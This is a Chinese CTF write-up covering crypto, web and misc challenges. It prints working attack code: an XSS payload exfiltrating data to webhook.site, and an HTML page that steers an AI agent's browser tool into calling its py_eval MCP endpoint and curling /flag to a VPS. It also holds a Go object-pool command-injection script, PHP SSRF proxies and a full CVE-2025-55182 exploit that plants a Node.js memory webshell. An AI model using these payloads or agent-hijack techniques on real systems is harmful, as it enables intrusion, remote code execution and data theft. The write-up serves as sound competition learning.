- web 魔法书
根据提示 抓包改阅读时间 得到弹窗
- 密码 Classic
最后一行密文
VUHHX{Tti Julxmzooz sm zhq Rlc azh ane Apk}
然后明文VIDAR
1 2 3 4 5 6
| 计算偏移量: - V -> V: 偏移 0 (A) - U -> I: 偏移 12 (M) (U=20, I=8, 20-12=8) - H -> D: 偏移 4 (E) (H=7, D=3, 7-4=3) - H -> A: 偏移 7 (H) (H=7, A=0, 7-0=7) - X -> R: 偏移 6 (G) (X=23, R=17, 23-6=17)
|
- 密文:
Tti Julxmzooz sm zhq Rlc azh ane Apk
- 密钥:
AME HGAMEHGAM EH GAM EHG AME HGA MEH
Tti (Key: AME) -> The
Julxmzooz (Key: HGAMEHG…) -> Collision
sm (Key: EH) -> of
zhq (Key: GAM) -> the
Rlc (Key: EHG) -> New
azh (Key: AME) -> and
ane (Key: HGA) -> the
Apk (Key: MEH) -> Old
直接用减法去减
以为要加下划线 服了 试了好久 原来直接拼上就可以了
- 密码 Flux
ai梭的 解答过程如下
第一步:攻破 QCG 生成器
利用题目给出的 4 个连续随机数 $x_1, x_2, x_3, x_4$,构建方程组。
通过消元法解线性方程组,成功恢复了 QCG 的参数:
$a = 36792…$
$b = 57247…$
$c = 51112…$
第二步:回溯初始状态 (h)
- 已知 $x_1 = (a \cdot h^2 + b \cdot h + c) \pmod n$。
- 这是一个关于 $h$ 的一元二次方程。使用 **Tonelli-Shanks 算法** 求模平方根,得到了两个可能的 $h$ 值。
第三步:逆向 shash (逐位攻击)
- 这是最精彩的一步。通常这类问题会用 Z3 Solver,但我发现由于运算包含 + (乘法) 和 ^ (异或),且是从低位向高位传播,低位的输出结果只取决于低位的 Key。
- 因此,我不需要暴力穷举 $2^{70}$,而是一位一位地猜。
- 从第 0 位开始,猜 Key 的第 0 位是 0 还是 1,验证输出的第 0 位是否匹配 $h$。匹配上了就继续猜第 1 位……
- 最终成功对其中一个 $h$ 值恢复出了 Key:860533
- web 博丽神社的绘马挂

前端有一些路由泄露
祈福看看

找到个xss漏洞
验证了一下 无需闭合 最简单的即可触发 可能有些过滤 但是没管了
<img src=x onerror=alert(1)>
试试外带 可以外带出去 但是偷不到cookie 可能是过滤了 也或者是根本就不在这里
自动带上 Bot 的 Cookie 这个接口是前端泄露的
1
| <img src=x onerror=\"fetch('/api/archives').then(res=>res.text()).then(t=>fetch('https://webhook.site/73296464-c885-4e1b-ab7e-a8e533ddf8be/?m='+btoa(t))) \">
|
收到后解码

5. web My Little Assistant我觉得非常有意思 考点也很新奇的一道题 是mcp呢

最开始以为像极客那样 可以自己写入mcp工具 然后去读本地文件 不行 然后以为可以用它执行代码的mcp服务器去读本地文件

才发现完全用不了
(最开始以为是自己代码里面有被过滤的 往沙箱逃逸那方面去想了)后面发现就是完全用不了
然后去看看附件
1 2 3 4 5 6 7
| async def py_eval(code: str): try: local_vars = {} exec(code, {}, local_vars) return {"result": str(local_vars), "status": "success"} except Exception as e: return {"error": str(e), "status": "failed"}
|
再看这个py_request
1 2 3 4
| browser = await p.chromium.launch( headless=True, args=["--no-sandbox", "--disable-dev-shm-usage", "--disable-web-security"] )
|
它开启了 --disable-web-security,这意味着 CORS(跨域策略)被禁用了
让 AI 用 py_request 去访问一个我们控制的网页 这个网页里包含一段 JavaScript 代码,这段 JS 会在 AI 的浏览器里执行,向 AI 本地的 8001 端口 发送一个 POST 请求,假装是 AI 自己在调用 py_eval 那么自己在服务器去搞个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <!DOCTYPE html> <html> <body> <h1>Stealing Flag...</h1> <script> // 1. 构造 Payload:直接用 curl 把 flag 发给你的 2333 端口 const pythonPayload = "import os; os.popen('curl http://47.109.24.42:2333/$(cat /flag*)')";
// 2. 发送请求给本地 API const apiData = { "jsonrpc": "2.0", "id": 1, "params": { "name": "py_eval", "arguments": { "code": pythonPayload } } };
fetch("http://127.0.0.1:8001/mcp", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(apiData) }); </script> </body> </html>
|
这段代码在服务器的浏览器里执行了
向 http://127.0.0.1:8001/mcp 发送一个 POST 请求,执行 cat /flag
请求是从服务器内部的浏览器发出的,目标又是 127.0.0.1 (服务器自己) 这里是直接发给我服务器(因为我怕长度限制影响了 有点麻烦)
其实最开始这个也可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Attack</title> </head> <body> <h1>...</h1> <div id="result">Waiting for flag...</div> <script> // 1. 构造要执行的 Python Payload // 这里的逻辑是:读取根目录下的 /flag 文件(如果不确定文件名,可以用 'ls /' 先看一眼) const pythonPayload = "import os; flag = os.popen('cat /flag*').read()";
// 2. 构造发给 MCP API 的数据包 const apiData = { "jsonrpc": "2.0", "id": 1, "params": { "name": "py_eval", // 绕过聊天框,直接调用后端的 py_eval "arguments": { "code": pythonPayload } } };
// 3. 让 Bot 的浏览器向它自己的本地接口 (127.0.0.1:8001) 发送请求 fetch("http://127.0.0.1:8001/mcp", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(apiData) }) .then(res => res.json()) .then(data => { document.getElementById("result").innerText = JSON.stringify(data); }) .catch(err => { document.getElementById("result").innerText = "Error: " + err; }); </script> </body> </html>
|

得不完 前面没用到的前端 还有这个ls删掉就完了
下面是我用发服务器方法搞得

6. web MyMonitor
sync.Pool
在 Go 语言高并发场景下,频繁创建和销毁对象(比如每次请求都 new 一个结构体)会给垃圾回收(GC)带来巨大压力
sync.Pool 可以看做成一个公共借用池
Get(): 需要用对象时,去池子里拿一个。如果池子是空的,就新建一个。
Put(): 用完了,把对象放回池子里,供下一个人使用。
handler.go 中的 UserCmd 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| func UserCmd(c *gin.Context) { // [1] 从池子里借出一个对象 monitor := MonitorPool.Get().(*MonitorStruct) // [2] 这是一个 defer,函数结束前一定会执行:把对象放回池子 defer MonitorPool.Put(monitor)
// [3] 绑定 JSON 数据:把用户发的 JSON 填入 monitor 对象 if err := c.ShouldBindJSON(monitor); err != nil { // [!] 漏洞点在这里! // 如果绑定报错(比如缺了必填字段),直接 return c.JSON(400, gin.H{"error": err.Error()}) return } // ... // [4] 负责清理对象的 reset,定义在 return 之后 defer monitor.reset() // ... }
|
Go 的 JSON 解析器会一边解析一边赋值。它先把 monitor.Args 赋值为 "填进去的东西",然后检查 cmd 字段发现缺失,这才报错 err != nil。
此时,monitor 对象变成了:{Cmd: "", Args: "恶意代码"}
一个带着恶意 Args 数据的“脏对象”被放回了池子里!
看 AdminCmd 的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| func AdminCmd(c *gin.Context) { // [A] Bot 从池子里取对象 // Bot 正好取到了你刚才放回去的那个“脏对象” monitor := MonitorPool.Get().(*MonitorStruct) defer MonitorPool.Put(monitor) // [B] Bot 发送请求:{"cmd": "ls"} // 注意:Bot 的请求里没有 "args" 字段 if err := c.ShouldBindJSON(monitor); err != nil { ... } // [C] 拼接命令 // monitor.Cmd 被 Bot 更新为 "ls" // monitor.Args 因为 Bot 没传,所以保留了原来的值(你的恶意代码)!!! fullCommand := fmt.Sprintf("%s %s", monitor.Cmd, monitor.Args) // 结果变成: "ls ; curl .../flag" // [D] 执行 exec.Command("bash", "-c", fullCommand).CombinedOutput() }
|
因为 JSON 绑定通常是增量更新的。如果 JSON 里面没有 args 字段,解析器就不会去碰结构体里的 Args 字段(也就是说我放的毒不会被覆盖)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| import requests import random import string import time # ================= 配置区域 =================# 题目地址 TARGET_URL = "http://cloud-middle.hgame.vidar.club:30267" # 你的云服务器 IP (用来接收 Flag)YOUR_VPS_IP = "47.109.24.42" # 你的云服务器监听端口 YOUR_VPS_PORT = "2333" # =========================================== def random_str(length=8): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def get_token(): """自动注册并获取 Token""" username = random_str() password = random_str() print(f"[*] 正在注册随机账号: {username} / {password} ...") try: res = requests.post(f"{TARGET_URL}/api/account/register", json={ "username": username, "password": password }) if res.status_code == 200: token = res.json().get("Authorization") if token: print(f"[+] Token 获取成功: {token[:20]}...") return token else: print(f"[-] 注册失败: {res.text}") except Exception as e: print(f"[!] 连接错误: {e}") return None def poison_pool(token): """发送脏数据污染对象池""" # 构造 payload: 只有 args,没有 cmd # 这里的 payload 会在服务器上执行: bash -c {monitor.Cmd} ; curl ... payload_args = f"; curl http://{YOUR_VPS_IP}:{YOUR_VPS_PORT}/$(cat /flag)" headers = { "Content-Type": "application/json", "Authorization": token } data = { "args": payload_args # 注意:这里故意不传 "cmd" 字段,触发 binding error } print(f"[*] 正在发送污染包 (Target -> {YOUR_VPS_IP})...") try: res = requests.post(f"{TARGET_URL}/api/user/cmd", json=data, headers=headers) # 我们期望收到 400 错误,包含 'Field validation for Cmd failed' if "Field validation" in res.text and "Cmd" in res.text: print("[+] 攻击成功!对象池已污染 (Dirty Object Injected)") print("[*] 现在请盯着你的 VPS 日志,等待 Bot 触发...") else: print(f"[-] 响应未达预期 (可能也成功了): {res.text}") except Exception as e: print(f"[!] 发送请求失败: {e}") if __name__ == "__main__": token = get_token() if token: poison_pool(token)
|

7. misc 打好基础
先放在随波逐流里面一键解码 感觉就base100有点像能二次解码的东西 提出来 然后
ok了
8. Vidarshop
爆破出jwt密钥 为111 但这个题其实可以不爆破啊 直接取个擦边的 比如admin1之类的去看生成规则 伪造完uid之后 我以为可以直接抓包改了 没用 后面想到原型链污染
就这样子
然后
去购买flag即可
9. easyuu
通过抓包 存在路径穿越 可读取任意文件

在 /app/update 发现 easyuu.zip 源码包

解压后审计 src/app.rs / src/main.rs,发现:
list_dir(path: String) -> /api/list_dir,path 完全可控,可任意目录遍历。
upload_file(data) -> /api/upload_file,支持 path1 字段改写写入目录。
main.rs 存在后台 update_watcher():每 5 秒执行 ./update/easyuu --version
然后传入这个脚本
1 2 3 4 5 6 7 8
| #include <stdio.h> #include <stdlib.h> #include <unistd.h>
int main(int argc, char *argv[]) { system("env > /app/uploads/1.txt"); return 0; }
|
意思就是把环境变量写入这个文件 然后可以看到

以下是复现 官方wp写的草率 不过反而学到了更多
10. baby web
能够正常传php马 但是看不到什么 
能拿到的信息比较少 内网探测

内网存在 10.0.0.2
上传一个PHP代理脚本,利用PHP的curl扩展作为SSRF跳板访问内网Next.js服务。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php // 1. 接收你想访问的内网路径,默认访问根目录 $path = isset($_GET['path']) ? $_GET['path'] : '/'; $url = "http://10.0.0.2:3000" . $path;
// 2. 初始化 cURL,准备向内网发包 $ch = curl_init($url); $method = $_SERVER['REQUEST_METHOD']; curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
// 3. 【关键点】转发 Content-Type 请求头 // 漏洞利用强依赖 Content-Type 中的 boundary 参数,必须透传 $headers = array(); $contentType = isset($_SERVER["CONTENT_TYPE"]) ? $_SERVER["CONTENT_TYPE"] : ''; if ($contentType) { $headers[] = "Content-Type: " . $contentType; } curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
// 4. 【关键点】转发原始 POST 实体 if ($method === 'POST') { // 导师划重点:千万不要用 $_POST! // php://input 可以读取到最原始的、未经 PHP 解析的 HTTP Body 数据 $body = file_get_contents('php://input'); curl_setopt($ch, CURLOPT_POSTFIELDS, $body); }
// 5. 获取响应并返回给攻击者(你的电脑) curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch); echo $response;
curl_close($ch); ?>
|

可以看到这里是有flag的 但是无法进行更多操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <?php
// 专门用于打 Next.js 的代理
$url = "http://10.0.0.2:3000/";
$ch = curl_init($url);
// 强行指定 POST 方法
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
// 【核心魔法】在这里硬编码 Next.js 需要的漏洞触发头
// 这样就完美避开了 PHP 对 multipart 的拦截
$headers = array(
"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCVE202555182",
"Next-Action: exploit_cve_2025_55182"
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
// 因为 Python 传来的是纯文本,php://input 里完好无损地保存着我们的 Payload
$body = file_get_contents('php://input');
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
echo curl_exec($ch);
curl_close($ch);
?>
|
继续传 最后ai利用CVE-2025-55182挂上了内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| import requests import urllib.parse import time # 代理地址 exploit_proxy_url = "http://forward.vidar.club:32211/uploads/exploit_proxy.php" normal_proxy_url = "http://forward.vidar.club:32211/uploads/9.php" boundary = "----WebKitFormBoundaryCVE202555182" # ================= 第五步:注入内存 Webshell =================# 真正的内存马:兼容 Function 作用域,挂载底层 http 拦截器 memory_webshell_js = "try{var rq=typeof process!=='undefined'&&process.mainModule?process.mainModule.require:require;var h=rq('http');var cp=rq('child_process');if(!h.Server.prototype.__hk){var o=h.Server.prototype.emit;h.Server.prototype.emit=function(e,req,res){if(e==='request'&&req.url.indexOf('cmd=')!==-1){try{var c=decodeURIComponent(req.url.split('cmd=')[1].split('&')[0]);res.writeHead(200);res.end(cp.execSync(c).toString());}catch(err){res.writeHead(500);res.end(err.message);}return;}return o.apply(this,arguments);};h.Server.prototype.__hk=true;}}catch(ex){}//" chunk_0 = f'{{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{{\\"then\\":\\"$B1337\\"}}","_response":{{"_prefix":"{memory_webshell_js}","_formData":{{"get":"$1:constructor:constructor"}}}}}}' raw_body = ( f"--{boundary}\r\n" f'Content-Disposition: form-data; name="0"\r\n\r\n' f'{chunk_0}\r\n' f"--{boundary}\r\n" f'Content-Disposition: form-data; name="1"\r\n\r\n' f'"$@0"\r\n' f"--{boundary}--\r\n" ) print("[*] 第五步:正在利用真实 React2Shell PoC 注入内存马...") try: # 依然使用纯文本伪装,防 PHP 吃掉 multipart requests.post( exploit_proxy_url, headers={"Content-Type": "text/plain"}, data=raw_body.encode('utf-8') ) print("[+] 注入指令已发送!") except Exception as e: print("[-] 网络请求异常:", e) # 给 Node.js 一点时间处理反序列化并挂载钩子 time.sleep(2) # ================= 第六步:读取 Flag =================print("\n[*] 第六步:利用被动内存马读取 Flag...") # 对路径和命令进行双重 URL 编码,确保安全穿透 PHP 代理到达内网 cmd = urllib.parse.quote("cat /flag") path = urllib.parse.quote(f"/?cmd={cmd}") target_url = f"{normal_proxy_url}?path={path}" try: res = requests.get(target_url) print("\n================ 🏆 FLAG ================") if res.status_code == 200 and "flag{" in res.text: print(res.text.strip()) elif "flag{" in res.text: print(res.text.strip()) else: print("未直接看到 Flag,返回内容:\n", res.text[:500]) print("==========================================") except Exception as e: print("[-] 获取 Flag 失败:", e)
|
得到flag flag{T4RGeT-IN-FAk3_tARG3t_xIXl6d1b2d2d1}
这个漏洞后面可以进行研究一下
11. 文文新闻
第二周里面应该打出来的题 自己没有死磕 刚学的东西不拿出去用
TE.CL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /api/login HTTP/1.1 Host: forward.vidar.club:31300 Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked
a1 POST /api/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Authorization: 3dc1f3d7-61bf-4acc-a045-586c81f6245b Content-Length: 350
content= 0
|
前端全部发送过去后 后端要接受350个长度的字符 这时候bot来访问 然后就带上信息了 得到
